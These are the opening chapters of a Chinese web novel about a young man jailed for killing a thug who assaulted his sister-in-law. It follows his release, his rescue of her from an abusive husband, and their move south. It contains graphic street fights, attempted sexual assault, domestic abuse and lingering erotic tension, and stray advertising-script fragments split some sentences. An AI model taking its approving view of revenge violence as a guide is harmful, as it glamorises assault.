《出狱狂龙》 第1章 我叫唐浩 我敢打赌,每个男人从懂得心动的那一刻起,梦中都会住进一个女神。 而我从小就迷上了邻镇的一个姐姐——林桃。 她大我五岁,有着一张精致瓜子脸,细长柳叶眉,水灵灵的杏仁眼好像会说话。 每次看见她,我的心跳都会莫名加速。 她的身材更是无可挑剔,既高挑又丰满,曲线玲珑。 而最让我魂牵梦绕的,是她左眼角下那颗不深不浅的泪痣,特别妩媚。 这简直戳中了我的癖好! 镇上的人都说,林家真是好福气,将来林桃肯定能嫁个好人家。 那时候我最大的梦想,就是把林桃娶过门,过上幸福的日子。 为了这个梦想,我发愤图强,努力学习,还别说,我成绩在学校里可是数一数二的。 但人生中第一次崩溃,却也是因为她。 16岁那年,林桃突然嫁给了我的堂哥。 我最爱的姐姐,竟然成了我的堂嫂! 我的美好幻想全都崩塌了,我不明白,堂哥凭什么有这个福气? 更不明白,姐姐为什么那么急?就不能多等我几年? 可事情已经这样了,我能怎么办呢? 我记得很清楚,姐姐跟堂哥大婚那天,我躲在被窝里哭得天昏地暗,眼泪都快哭干了。 我还偷偷摸了家里的白酒,喝得醉生梦死。 结果,被爷爷和爸爸混合双打,屁股都开花了。 他们问我:“小兔崽子,怎么了?小小年纪不学好,偷酒喝?” 我倔得很,死活不肯说。 说啥?说我未来老婆被抢了? 不仅没了,还成了堂嫂。这不还得挨一顿打? 那天起,我就一蹶不振,对啥都提不起兴趣,学习成绩也直线下滑。 可我不在乎。 那时候幼稚得很,梦想没了,还奋斗个球啊! 堂哥家在市场里卖鱼,他爸在煤场开货车,家境还不错。 堂嫂嫁过去后,鱼档就交给她来打理,堂哥和他爸一起开货车运煤。 有空我就跑去堂嫂那帮忙,尽管知道改变不了什么,可就是不甘心。 那种感觉你们懂吗? 哪怕跟堂嫂说上几句话,只是看看她也好。 我以为,堂嫂注定是我错失的那个人,我们有缘无分。 在我自我麻木、想忘又忘不掉的痛苦日子里,我以为时间会让我慢慢放下,不再痴愣。 但命运偏偏喜欢捉弄人。 后来我和嫂嫂发生了太多事,彻底改变了我的人生轨迹。 那天,我放学后照例往市场跑,结果撞见几个手臂扎红布的管理,醉醺醺的。 他们围在堂嫂面前,说着下流的话,还动手动脚。 堂嫂哪曾遇到过这种事,她吓惨了,被逼到角落哭喊着求饶。 市场围了一圈人,看热闹,指指点点的,就是没人帮忙。 “我他妈早就想干你了!” 那些人大笑,粗暴拉扯她的衣服,扣子都被他们扯开了,露出一大片雪白的肌肤。 我心里头登时燃起一把火,冲上去大喊:“放手!你们想干什么!” 他们却根本没把我放在眼里,直接把我推开。 那一瞬间,我脑子里只剩下一个念头:保护我的姐姐! 没时间想后果,我抓起砧板上的杀鱼刀,毫不犹豫挥了下去。 直接就砍了那人的肩膀。 还真不是我下手狠,一是真急眼了,第二个也不知道轻重。 那人倒在血泊中,很快就没了动静。 堂嫂这时候扑进我怀里,哭得稀里哗啦,声音里满是绝望和害怕。 那种感觉,如同烙印般刻在我心中,至今难以忘怀。 她柔软的身躯在恐惧中微微颤抖,让我情不自禁紧紧抱住她。 这是我第一次这样抱她,竟然是在如此绝望的时候。 内心既慌乱又渴望,巴不得时间就此停止,让我们永远不分开。 我明白,这一刀会彻底改变我的人生。 然而,即使面对未知的未来,我心中没有丝毫的后悔。 那一刻,我只想保护她! 后来才知道,堂哥自从去了煤场就学坏了,跟人打牌,玩得还不小。 这帮市场管理,就是堂哥的牌友之一。 堂哥欠了他们的钱,他们多次讨要无果,就打起了嫂子的主意。 也因为这事,我被判了防卫过当,五年牢狱。 迷惘、绝望如潮水席卷而来,让我不知道怎么办好。 我想这辈子肯定完了,便开始破罐子破摔。 进去没几天我就跟人干起来了,那些人说新人得懂规矩,饭菜上供什么的。 还要给他们洗脚,他们看我年纪小,提了很多奇怪要求,比如要我把裤子脱掉,趴床上。 我尼玛呢,不服就是干! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一间牢房六个人,我大战五个,愣是干趴了俩。 当然,我也被揍得鼻青脸肿。 后来就被关了禁闭。 我明明不想惹事的,可偏偏他们不肯放过我,才从禁闭出来就又干了起来。 最惨烈一次,是在食堂里大战七八个,我抄起椅子就抡,但最终架不住对方人多,被按住爆锤。 好在狱长是个好人,他同情我,非但没有把事情上报,还给我调到了另一个区域。 也是在这,我认识了生命中除了嫂子外,很重要的一个人。 我只知道他叫老周,六十多岁了,犯了啥进来的不清楚。 听完我的故事后,他叹了口气,拍了拍我的肩,说: “小子,你跟我年轻时真像,尤其那股死活不肯低头的倔劲。” 老周看着我,眼神里全是过来人的沧桑。他又说: “跟着我吧,在这儿没人敢欺负你。” 于是,老周成了我的师父。 他教会了我不少东西,格斗技巧,三教九流的门道。 那段时间,老周也成了我的故事会,可比意林,读者那些有意思多了。 他总讲些江湖上的趣闻,那种帮派火拼,为兄弟上刀山下火海,听得我热血沸腾。 期间,嫂子也来看了我很多次。 我本来是想忘掉她的,但每次见到她,反而更加想,梦里总是她的一颦一笑。 想克制,可内心那股骚动,却像燎原烈火,越烧越旺。 但嫂子来看我的频率越来越低。 最后一次,是隔了半年多。 那天,我在会见室看见她,顿时心里一沉。 她眼角竟然有淤青,一看就是被人打了! “嫂子,怎么回事?谁打你了?”我急得声音都变了,差点拍碎了隔离窗。 她咬着嘴唇,眼神闪烁,死活不肯说。 我心急如焚,脑袋里全是堂哥那些牌友的影子,难道是他们又欺负她了? 自那次见面后,我每晚都失眠,整夜整夜睡不着觉。 她的眼神充满绝望,像是被黑暗吞噬的最后一丝光亮,我怎么能忘记? 为了早点出去,我更积极表现,争取减刑。 每天劳动我都拼了命地干,汗水混着血水,没日没夜。 我知道,我必须赶紧从这个鬼地方出去! 每分每秒,都是煎熬! 嫂子一定遇到了大麻烦,她在等我! 第2章 那我们走就是了 功夫不负有心人,由于我的表现和认错态度优秀,刑期减了一年多。 这三年多服刑,我特别感激两个人。 一个是狱长,另一个自然是老周。 狱长挺关照我的,给了我不少方便。 而老周则教会我很多道理,甚至可以说,他改变了我的人生。 记得出狱那天,老周问我出去后打算干啥子。 我当时能有什么想法?总不能告诉他我只想找嫂子吧? 于是就随口说找个工作,只要肯吃苦,日子总能支棱起来。 老周听后却意味深长笑了笑。 那个笑容,我至今记得,仿佛看穿了一切。 他告诉我:“小子,俗话说吃什么补什么,吃苦没用,想成为人上人,那得吃人才行!” 当时我完全理解不了这话。 加上他给我的印象,一看就是混江湖的,还是个老江湖。 心里腹诽:这不放屁么,我好不容易要出去了,怎么可能还行差打错? 但后来,我很后悔没早点品出这话的真谛。 当然,这都是后话了。 老周还给了我个纸条,说要是我在家乡混不下去,那就去找个叫杨旺兴的,他能给我指条路。 虽然当时我也没懂啥意思,这有啥混不混得下去的? 但他对我的好,我始终铭记在心。 我也问他有没有什么事需要代劳?他却说等我挣够一个亿,就风风光光来接他。 我笑了,没敢答应,一个亿?那不纯扯淡吗。 他似乎也在说笑,那晚,我们聊了一宿。 他又教会了我许多,比如怎么跟别人相处,怎么在人心浮动的社会里找到自己的位置。 出狱那天,我给他磕了三个响头。 虽然老周并不承认我是他徒弟,但在我心里,他就好像我的第二个爹。 站在监狱门口,恍若隔世,我深吸了一口自由的空气。 爸妈也等很久了,我们仨抱一起哭成了泪人。 本来我以为嫂子也会来,却始终没等到。 我忍不住问爸妈:“嫂嫂她人呢?” 爸妈对视一眼,神情复杂。 这可给我急坏了,再三追问,爸妈却让我别多管闲事。 闲事? 嫂子的事怎么可能是闲事! 他们不说,我就打算自己去找嫂子。 结果,刚到堂哥家,隔着大门,就听见女人的哭泣声,和男人的咆哮声。 “你个贱货!克死我爸还不够,是不是也想我死啊!” “再哭!你再哭个试试!” “砰!” 屋里头,传来了锅碗摔地的声响。 “我错了,我真的错了,求求你不要再打了。” 听到堂嫂的求饶,我一股脑儿就踹门,没踹开,急忙翻墙进去。 就看见—— 堂哥跛着一只脚,手拿一根擀面杖,一撅一拐追着堂嫂就要打。 而嫂子已经披头散发,只穿了件内衣,抱着头往鸡棚里躲。 我惊呆了,但好在及时反应过来,冲上去就狠狠推开了堂哥。 堂哥摔在地上,看见是我也吃了一惊,似乎没想到我怎么就出来了,然后他朝我大吼: “草!唐浩你个扫把星!” 我看了眼嫂子。 她脸上都是泪渍,整个人精气神全没了。 以前,她眼里是有光的。 笑起来像春日里的阳光温暖。 可现在,不仅秀发变得枯黄,身上还不少淤青。 我心里一阵绞痛,强忍着眼泪,问她:“嫂子,这是怎么回事?” 她低着头,声音颤抖:“没事,跟你没关系。” 她跪在地上,双手环抱,尽力遮掩着胸脯,似乎不想让我看见她的狼狈。 我咬牙切齿瞪着堂哥,恨不得扒了他的皮,但理智告诉我不能这样干。 “你他妈再敢打嫂子一下,当年我怎么砍死那人,这就是你的下场!” 可能是我当时候太凶,也或许战绩可查,堂哥真被我吓焉了,没敢再哔哔。 我进了屋,随便找了个衣服给嫂子披上,然后拉着她就往外走。 堂嫂一开始是抗拒的,但并不强烈,兴许她也想逃离这个家,只是没这个勇气。 需要有个人,从泥沼里拉她一把。 我愿意成为这个人,我把堂嫂带回了家。 爸妈倒没说什么,他们也很同情堂嫂。 尤其我妈,女人很懂女人。 她轻轻拍着堂嫂的背,安慰了几句。 却没想到这反而成了压垮堂嫂的最后一根稻草。 她嚎啕大哭,哭得那叫一个撕心裂肺。 我从未见过她如此崩溃,仿佛所有的委屈、痛苦在这一刻全部爆发。 我妈叹了口气,轻轻搂着她,柔声说:“孩子,你受苦了。” 堂嫂哭得上气不接下气,断断续续说着:“我……我真的撑不下去了…我真的好累……” 我心里一阵刺痛,无法想象她这些日子是怎么过来的。 我不知道该说什么,只能默默站在一旁。 那一晚,我 问嫂子到底怎么回事,她却还是死活不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开口。 我又问了爸妈,他们就说这是别人家事,让我少掺和。 可能担心我又上头干傻事吧。 而我当时也有点逃避,我怕知道什么,怕自己忍不住。 后半夜,堂嫂终于在我妈怀里睡着了,脸上还挂着未干的泪痕。 我站在门口,看着她疲惫的样子,心里满是愧疚和痛苦。 从那一刻起,我暗暗发誓,一定要让堂嫂重新过上安稳的日子。 不仅是为了自己,也是为了我爱的人。 堂嫂的光芒,我一定会帮她重新找回来! 就这样,堂嫂暂时在我家住了下来,堂哥估计真被我吓到了,倒是没敢上门找麻烦。 可我那个镇,街里邻居没事就喜欢嚼舌根。 屁大点事,都能被他们传得天花乱坠,都在说堂嫂是个扫把星。 说她自从嫁入堂哥家后就没一件好事,堂哥他爸煤场事故死了,堂哥也断了腿,终身残疾。 又说她嫁给堂哥那么久还没种,是个不会下蛋的母鸡。 这下跑到我家,我家也要倒霉喽。 好几次我差点没忍住就要跟他们吵,都被我爸死死按住。 而老周还真一语成谶了,由于我坐过牢,手上还沾了人命,别人可不管你是不是自卫。 都说历尽千帆,归来仍是少年。 我归来了,但在别人眼里,我却是个不良少年。 他们要么怕我,要么则是嫌我蹲过牢,晦气。 两三个月,我到处跑,愣是没人肯要。 爸妈尽管没说什么,但我内心煎熬,当年那件事,家里也赔了不少钱,欠下不少外债。 于是,我想到了出狱那天老周给我的纸条。 我跟爸妈说,我想南下务工。 爸妈当然不同意,那年我才19,他们哪放心我往外跑。 可我却跟同龄人不一样,或许是蹲过吧,也算见过世面,倒没觉得有什么。 我也受够了别人看我的眼神,就想着天大地大,我出去闯一闯,总能有自己的容身之所。 爸妈最终架不住我的软磨硬泡,点头了。 不过,我妈有个条件,她说我还小,不懂事,出去了要是又犯冲咋办。 所以我妈希望堂嫂照看我,两个人一起到外面打工,也有个照应。 我妈还怕我嫌被管,不自在。 她先做了堂嫂的思想工作,又说要是我反对,那没得谈。 我当时直接抱住了我妈,真是亲妈啊!给我妈搞懵了。 要是有堂嫂陪着,再苦再累我都愿意,甚至不敢想往后的日子有多美! 第3章 南下 本来我还在那抓耳挠腮,琢磨着怎么忽悠爸妈点头,再偷偷把堂嫂带走。 你们想啊,都说像堂哥那样的,都是欺软怕硬的垃圾。 我要是一走,堂嫂肯定得万劫不复。 老妈到底怎么说服堂嫂的,我是一头雾水。 不过当时我哪管这些,脑子里只有一个念头:堂嫂终于能摆脱那个人渣了! 那天晚上,我躺在床上心里七上八下,满脑子都是堂嫂的笑容和那双被生活压得失去了光彩的眼睛。 想到堂嫂以后不用再受那畜生折磨,我就高兴得不行。 怕夜长梦多,第二天一早,我就和堂嫂坐上了南下的大巴。 堂嫂坐在我旁边,带的东西把座位挤得满满当当。 两大包尼龙编织袋,里面塞满了衣服被褥。 明明也不是什么值钱的东西,堂嫂却不放心,非要放在身边才踏实。 这下可好,我俩被挤得贴在一起,我心里那个小鹿乱撞啊! 她身上有股淡淡的清香,那是我从未闻过的味道。 像是春天的花香,又像是夏天的雨后清新,我直接被迷住了。 为了避免尴尬,我挪挪身子想离堂嫂远一些,可这破大巴颠得跟筛子一样。 每次车一颠,我的手臂总是碰到堂嫂的。 每碰一下,我心里那头小鹿就乱撞。 堂嫂却以为我不舒服呢。 她一脸担心问:“小浩,是不是晕车了?” 说着,她从包里掏出一瓶绿油油的风油精。 然后,堂嫂轻轻抚摸我的头,温柔说:“来,闻闻这个,会好些。” 她的手指冰凉,但那一瞬间,我感觉全身都燥热起来。 不闻还好,味道太冲了,得,这下两个头都难受了。 我强忍着不适,挤出一个笑容:“我好得很。” 堂嫂笑了笑,那笑容温暖得像冬日的阳光,让我瞬间忘记了所有的不适。 但同时,我的心里也升起了一丝苦涩。 我知道,接下来我们要面对的,是一个未知的未来。 也许会很艰难,但为了堂嫂,我愿意拼尽全力。 为了她,我什么都愿意。 就这么又煎熬又刺激坐着,我迷迷糊糊还睡了过去。 我梦到嫂子搂着我的手臂。 那感觉太真实了,沉甸甸的,还有点痒痒。 那种痒让我浑身不自在,我使劲皱了皱鼻,想把这感觉赶走。 可不管用,还是痒。 我一个激灵,睁开眼睛。 天!这哪是梦啊? 嫂子是真的靠在我肩膀上睡着了! 车窗大开着,风呼呼往里灌。 嫂子的秀发轻轻擦过我的脸庞,带来一阵温柔的痒痒感,好像有种淡淡的花香弥漫开。 而那柔软又沉甸甸的感觉,不用说,当然是被嫂子的胸脯压着了。 她一定是没有安全感,也累了,睡着的时候才会紧紧抱住我。 我轻轻转头,看着她那张恬静的睡颜,心里突然涌起一种难以言喻的感觉。 这是我最爱的姐姐,但也是我的嫂嫂。 那时候,我还是个毛头小子,暗恋着她,却不敢表白。 她是那么美好,像天上的星星,我只能远远仰望。 可命运却给我开了一个巨大的玩笑,她最终嫁给了我堂哥。 那一刻,我的心仿佛被撕裂了一样,痛得无法呼吸。 但我只能笑着祝福她,把那份感情深深埋在心底。 现在,她就这么安静靠在我身边,像是回到了那些年少的梦里。 我知道,这不过是短暂的幻觉,可还是忍不住心头一热。 风继续吹,车窗外的夜景像是一幅流动的画卷。 我多么希望大巴就这样一直开下去,我小心翼翼,怕她惊醒,只想多维持一会。 可美好总是短暂的,嫂子终究还是醒了。 她慌忙坐直,松开了我的手臂。 我也不知道该怎么应对这种尴尬的情况,下意识就继续装睡。 心里怅然若失,努力记住刚才那种温馨的感觉,想把它深深烙在记忆里。 嫂子轻轻整理了一下头发,然后静静看向窗外。 从她的侧脸,我能看到她眼中的一丝慌乱和不安。 她大概是觉得这样的亲密不合适吧,毕竟我们之间有一道无法逾越的界限。 我心里苦笑,明明只是一瞬的温暖,却让我贪恋得无法自拔。 三十多个小时的车程看着挺长,可我一点也不累,浑身有使不完的劲。 有嫂嫂陪着,我心里只有快乐,以及对未来的美好想象。 那个年代,镇上不少人也到外头务工,好几个都回老家盖房子,光宗耀祖了。 而我去的地方,还是遍地黄金的港城。 我也想荣归故里,在那些瞧不起我的人面前狠狠出口气! 按老周的纸条,我边问路边走,很快就找到了杨旺兴。 这是个身高只有一米五的家伙,虽然矮,却挺壮实,肤色黑黝黝,约莫得有四五十岁。 他正在一间小杂货铺里忙活,看到我进 来,抬头看了看,然后用浓重的地方口音问道:“靓仔找谁?” “我找杨旺兴,老周让我来的。”我赶紧回答。 他眼神一亮,放下手中的活,走过来拍了拍我的手臂: “你就是老周说的那个小伙子啊,年轻人,来得好!” “兴叔,老周说让您给我指条明路,我什么苦活都愿意干,真的!” 说完我就鞠了一躬,急不可耐,恨不得马上就有活干。 在老家那几个月,实在是憋坏了,也想快点挣到钱,缓解家里的压力。 杨旺兴却摆了摆手,示意我别急。 他说,正好附近有个玩具厂招人,不过得门路,这些他来搞定,就是得晚两天。 然后还安排了摩的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说他这地方小,住不下人了。 “先去城区找个旅馆落脚,过几天就能干活了。” 他说得轻描淡写,但我心里却一阵欢喜。 心说老周真是我的贵人,全都打点好了,这样也省去了我在一个陌生城市里抓瞎。 很快,一辆摩托车停在我们面前。 我领着嫂嫂上了摩的,我坐前面,手提两大包行囊,嫂嫂坐后面。 这摩托一启动,那司机车技真是飘,速度快得让我心跳加速。 一开始,嫂嫂还吓得小声叫了下。 “别怕,抱紧我。”我回头对她说。 她不好意思,就抓住了我的衣服。 摩托车颠簸着向前飞驰,那种推背感让我心里一阵酥麻。 嫂嫂的秀发又弄得我脖子很痒,却又很舒服。 但飘着飘着,我就察觉到不大对劲,不是说要往城区去吗,怎么越来越偏? 我忙问司机咋回事。 司机随口答道:“抄近路更快。” 我也就没多想,毕竟我相信老周,所以对杨旺兴也没设防,包括他安排的人。 却根本没想到,摩的司机把我们带到了一个废旧厂区附近。 夜色下,七八个人突然从阴影中冒了出来,他们手里握着水管和棍子,笑得不怀好意。 尤其一个瘦高个,看见嫂子后,眼睛都直了。 “草,这北姑真他妈极品啊!这脸蛋,这身材,不行,老子今晚得多弄几次!” 他露出一口大黄牙,猥琐笑着。 嫂子立马缩在我身后,紧紧抓住我的衣服,瑟瑟发抖,她小声说: “小浩,别管我,你快跑!” 明明她自己也很害怕,但这一刻,她的勇气和对我的关心溢于言表。 我也知道这下不妙了,但并没有惊慌。 好歹也在牢里蹲了几年,什么人没见过,什么场面没见过? 可对方人多,而且手里还有武器,都说武功再高也怕板砖。 我虽不怕真打起来会挂彩,但我担心嫂子的安危。 当下,我只能好声好气说我是杨旺兴的人,试图寻找一条出路。 不曾想,这些人听到我这么说,对视了一眼,哈哈大笑。 “小子,就是杨旺兴把你们卖给我们的啊!” “这北姑真不错,卖之前,我可要好好耍耍。你也不错,可以卖到南洋去!” 瘦高个舔了舔嘴角,眼神更加猥琐。 一瞬间,愤怒和恐惧在我心中交织。 但更多是愤怒! 我怎么也没想到,杨旺兴竟然把我们卖了! “你们敢动她一下,我拼了命也不会放过你们!” 我怒吼,心里却在飞速盘算如何脱身。 对方显然没把我放在眼里,瘦高个挥挥手,几个人立马围了上来。 “来啊,看看你有多大本事!” 瘦高个冷笑着,手里的棍子狠狠砸向我。 第4章 最后一课 在监狱那几年,老周教会了我蔡李佛拳。 这是结合了南方短打和北方的长打,动作迅猛,攻击性强。 加上我身手本就不错,不然在监狱时,早他妈被人干死了。 当下,面对瘦高个砸过来的水管,我十分冷静。 眼观六路,耳听八方,所有细节尽收眼底。 瞧准时机,我左手一把接住水管,一扭身,右手旋风肘! 干! 这一肘下去,瘦高个被撞得踉跄。 肘部的力量犹如锤击,他的脸瞬间变形,痛苦的表情扭曲在一起。 我没给他喘息的机会,瞬时狠狠补上一脚,直踢他的腹部。 瘦高个痛呼一声,整个人像断了线的风筝倒飞出去。 同时,我左手一拽,稳稳把水管夺了过来。 其他人好像都被我的拳脚功夫震慑住,一时间,没敢再上前。 空气中弥漫紧张,每个人的呼吸都变得沉重起来。 我瞥了眼嫂嫂,她似乎也没想到我这么猛,眼神中充满了惊喜和安心。 那一刻,她的眼神让我更加浑身是胆。 “来啊!” 我手里的水管高高举起,威慑这些蠢蠢欲动的家伙。 他们的眼神中闪过一丝犹豫和恐惧。 “来啊!” 我连喊两声,声音如同雷霆,震慑全场。 水管在我手中舞得“嗡嗡”响,随时准备砸向任何一个胆敢靠近的人。 但这些渣滓却不讲武德,有个胖子抡起水管就朝身后的嫂嫂砸去。 嫂嫂是我的软肋,她那么柔弱的身子骨,怎么可能经得住水管这一敲。 我连忙双手握紧水管去挡。 “咣!” 水管和水管撞在一起,发出刺耳的金属声。 接是接住了,但也漏出了破绽。 讲真,如果不是为了护住嫂嫂,这些人我还真没放在眼里。 虽然我肯定会挂彩,但他们只会比我更惨。 没办法,我被胖子牵制了,胳膊结结实实挨了黄毛一棍。 那一棍带着凶狠的力道,打在我胳膊上,瞬间传来剧烈的疼痛,像是骨头都要裂开了。 草! 剧疼让我红了眼,咬牙切齿,更起了杀心。 我猛地架开胖子,转身就是一棍狠狠朝黄毛的头砸去。 但黄毛很灵活,让我打了个空。 他迅速后退,脸上带着得意的笑容。 我咬咬牙,瞪着黄毛只想弄死他。 然而就在我准备再出手的时候,熟悉的声音突然传来。 “够了。” 是杨旺兴! 我呼吸急促,心脏狂跳。 杨旺兴的出现让我更加愤怒,他妈的我这么信你,你居然敢坑我! 但他接下来的话,却让我一怔。 “小子,这是周爷特地嘱咐,也是他要给你上的最后一课!” “出门在外,亲生父亲也别信,不然你怎么死的都不知道!” 他语气很重,好像在训斥自家孩子。 “不过周爷果然没看错人,就这份胆气,还有身手,佩服!” 见我还是瞪着他,他笑了笑。 “怎么?这回不骗你,我也没有骗你的必要。” “我这边这么多人,真要把你们怎么样,你有办法?” 我看了看四周,确实如这个矮子兴所说。 他又带来了十来个人,确实犯不着跟我玩什么套路。 但我还是很气,水管始终举着。 同时心下又十分庆幸,倘若杨旺兴真的只是考验我,那今晚这种情况,也算是有惊无险。 关键还是嫂嫂,是我把她带出来的,还没带她体会大城市的繁华呢,就受这种苦。 我气,主要是气对方就算真要考验,也不该把我嫂子牵扯进来。 只有我一个的话,怎么玩我都奉陪! 矮子兴挑了挑眉,“行了行了,走吧,那辆摩的,会真把你们送到旅馆门口。” “过两天,等我打点好,就通知你们去上班。” 说完,他摆摆手。 周围的人立马退得远远,让开了一条道。 我不敢磨叽,紧紧抓住嫂嫂的手,保持警惕拿起行李,一边走,一边用眼神警告周围的人。 心中却是五味杂陈。 这次的经历让我明白,江湖险恶,人心难测。 但同时,也让我更加坚定了心中的目标。 我要在这个城市站稳脚跟,不再被人随意戏弄! 幸亏这真的只是一场考验,直到站在旅店门口,我还有种不太真实的感觉。 也才敢丢下手中的水管,连忙跟嫂嫂说:“别怕,没事了。” 嫂子显然还未缓过来,脸吓白了,任由我抓着她的小手。 我很心疼,也更加自责。 进了旅馆后,老板也认识矮子兴,说兴爷已经给我们安排好了房间。 但就一间。 我蒙了,本来还在草这个矮子兴祖宗十八代来着,突然,又觉得他有点可爱。 但尽管是想跟嫂嫂住一起,却又想到这样不太妥当。 “能不能再开一间?”心里不情不愿,我试探性 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 问老板。 老板挺无奈,“哎,没办法啊,实在是我这都满了,就这间房,还是看兴爷的面子。” 我心虚看了嫂嫂一眼,她还挺懵的,在我把情况又说了一遍后,她才反应过来。 “没,没事的,小浩,今晚就这样吧,明天再想办法。”嫂嫂轻声说道。 听到嫂嫂说不用换房,我心里一阵窃喜。 别误会,我没什么坏心思,只是不想离开她而已。 再说了,刚才那事儿还没消化完,我是一点都不放心她一个人住。 甚至看老板的眼神都觉得他不怀好意。 我们进了房间,房间不大,但还算干净。 我让嫂嫂先去洗澡,放松下。 而我则开始把被褥铺地上,今晚打算打个地铺将就。 左手胳膊上的钝疼还在折磨着我,可我不敢吭哧一声,怕嫂嫂担心。 可能嫂嫂还是没从刚才的惊吓中走出来,不能说她心理素质差。 她肯定在想:怎么会碰上这种事?心里一团乱麻。 一个女人漂泊在外,本就没有安全感。 如果不是堂哥干那种垃圾事,她本应该很幸福,一辈子都安安稳稳在小镇上。 根本犯不着跟着我跑出来颠沛流离。 她或许在担心,接下来该怎么办,是否能找到一个安稳的落脚点。 她很听我的话,我让她干嘛就干嘛。 她大概觉得,我是她唯一能依靠的人了,心里对我充满信赖。 这些想法一闪而过,我更加坚定了要保护她的决心。 嫂嫂是无辜的,她不应该承受这些。 但听着浴室里传来的水声,心里又有点复杂。 我知道嫂嫂信任我,这让我更有责任感。 可是…… 我本来就很喜欢她,那种喜欢,伴随了我整个青春,在监狱那段日子里,更是我的精神支柱。 现在她和我就一门之隔,还脱了衣服,那前凸后翘的身材被水打湿。 隔音实在太差了,哗啦啦的水声撞击我的心湖。 我心里那股火烧得厉害,深吸一口气,努力让自己冷静下来。 不能乱想,不能乱来,她是嫂嫂,我得尊重她。 她现在需要的是保护,而不是更加复杂的情感纠葛。 “小浩…” 但这时,浴室门开了一丢丢,水蒸气混合着皂香味扑鼻而来。 “能帮我拿毛巾吗,我,我忘了……” 嫂子羞滴滴小声说。 我的心跳扑通扑通狂跳,好像擂鼓,更加燥热,情不自禁咽了咽口水。 第5章 这一夜 哎呀我去! 这两天简直像在做梦,真不敢相信发生的一切。 先是和嫂嫂坐同一辆车,她靠得那么近,甚至能闻到她头发的香味。 尤其是那一刻,她靠在我肩膀上睡着了。 现在回想起来,心里还是忍不住一阵悸动。 更离谱的是,我们竟然还住在同一个房间! 现在浴室门的另一头…… “小浩,你在吗?” 就在我胡思乱想的时候,嫂嫂又喊了一声。 她的语气有些急,似乎以为我不在屋里,那种没有安全感的语调,让我心里一紧。 我赶紧回应:“嫂嫂,我在呢!” 心里那股奇怪的感觉更强烈了。 嫂嫂的声音,让我既心疼又有点不知所措。 她的每一个细微动作和情感波动,都牵动着我的心。 我连忙打开她的编织袋,翻弄着想找到毛巾,可翻着翻着… 那时候的我还是个纯情小处男,虽然在牢子那会,没少听别人讲段子。 但听来的就那么回事。 头一回看见女人的贴身衣物,而且还是嫂嫂的,那种冲击力简直加倍。 还好我自制力够强,赶紧拿起毛巾就跑。 当时的我,真的说不清也理不清那是什么感觉。 明知道这样不对,但心里又止不住向往。 把毛巾递给嫂嫂后,我就傻傻站在门口,活像个呆头鹅。 这可把嫂嫂吓了一跳,当她再次打开门时,看见我就杵在那儿不动,直接退了半步。 我们两个都有点尴尬。 她低着头,不知道是被水蒸气熏热的,还是特别不好意思。 脸上红扑扑的,头发还滴着水珠。 她穿着纯白短袖棉衣,和一条比较宽松的浅蓝色短裤,修长的美腿一览无遗。 嫂嫂的腿不是那种细瘦的筷子腿,而是匀称,线条柔和,没有一丝多余的赘肉。 “小浩,你要用厕所么?” “呃…嗯嗯。”我结巴了一下,脸顿时热了起来,没敢再多看她一眼。 一时间也不知道自己该干什么了,反倒惹嫂嫂轻笑。 “噗,那你让一让。”她笑着说,声音像银铃般清脆。 我赶紧侧身让路,心跳得像打鼓一样。 那一刻,整个世界仿佛都安静了下来,只剩下我和嫂嫂,还有那滴落的水珠声。 等我洗完出来时,嫂嫂坐在床的一角,双腿蜷曲,双手抱膝,像个小团子。 她看起来很累,可能是被之前的惊吓折腾得够呛。 她把脸埋在膝盖上,我以为她睡着了。 我蹑手蹑脚走到地铺旁,不知道是该叫醒她,还是让她休息。 可这种姿势睡过去,多累啊。 正纠结着,嫂嫂突然抬起脸,眼里满是疲惫。 我们一路过来舟车劳顿,确实没好好休息,连像样的饭都没吃上一顿。 在车上那会儿,我们就着凉白开对付了几张干巴巴的大饼,一下车,我就想找个菜馆吃点热乎的。 但嫂嫂不同意,我妈给的八百块可是家里所有积蓄了。 嫂嫂说没找到工作前,得省着点花。 我听她的,在路边的包子店随便对付了一下。我胃口大,一连吃了八九个才勉强算饱。 可这时候,不争气的肚子又咕噜噜叫了起来。 嫂嫂连忙从她的小包包里拿出一个塑料袋,递给我。 是两个大大的肉包,看得我口水都快流出来了。 可一想到白天时嫂嫂就没怎么吃,只是小口啃,才勉强吃完一个。 我以为包子不合她的口味,便问她想吃什么,她却说平时也吃得不多。 还说我正在长身体,多吃才是福。 没想到她还留了两个包子给我,这让我心里一阵感动,嫂嫂对我真好。 “来,吃吧。” 我接过包子,心里暖得像被什么东西烤着一样。 “嫂嫂,你也吃点吧。”我咬了一口包子,满嘴香气,却怎么也高兴不起来。 “我不饿。”她轻轻摇了摇头,眼里闪过一丝疲惫。 我又不傻,明白嫂嫂这是自己舍不得吃,全给我了。 感动之余,心里又有点着急。 钱啊钱,怎么才能多挣点钱,让嫂嫂过上好日子,不再受这些苦呢? 我脑子里飞快转着各种念头,可越想越觉得无力。 这时,嫂嫂从编织袋里翻出了一个布袋。 里面倒出来红药水、蓝药水、跌打酒。 还真是准备得很齐全。 我胳膊被水管敲淤肿,本想着蒙混过去,没想到还是被她发现了。 她的手凉凉的,摸到我时,我忍不住打了个颤。 “啊,弄疼你了吗?”她紧张兮兮问。 尽管胳膊是胀疼难顶,但心里头那阵美滋滋的感觉覆盖了一切。 “不疼,完全不疼。”我傻笑着回答。 嫂嫂这才松了口气,涂抹跌打酒的双手更轻柔了。 被嫂嫂亲手服侍的感觉真好。 “小浩,那些都是什么人?他说的老周又是谁'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> ?”嫂嫂突然问。 她的声音透着不安。 我心里一紧,也没打算隐瞒。 可能自尊心作祟吧,也或者是年轻气盛,在自己暗恋的女神面前,忍不住就想装个比。 于是我学着老周讲故事的调调,把在牢子里发生的事美化了一番。 说我是怎么狱锁狂龙,打遍监狱无敌手,打得他们俯首称臣,然后得到老周的赏识。 又是怎么跟老周学了一身本领。 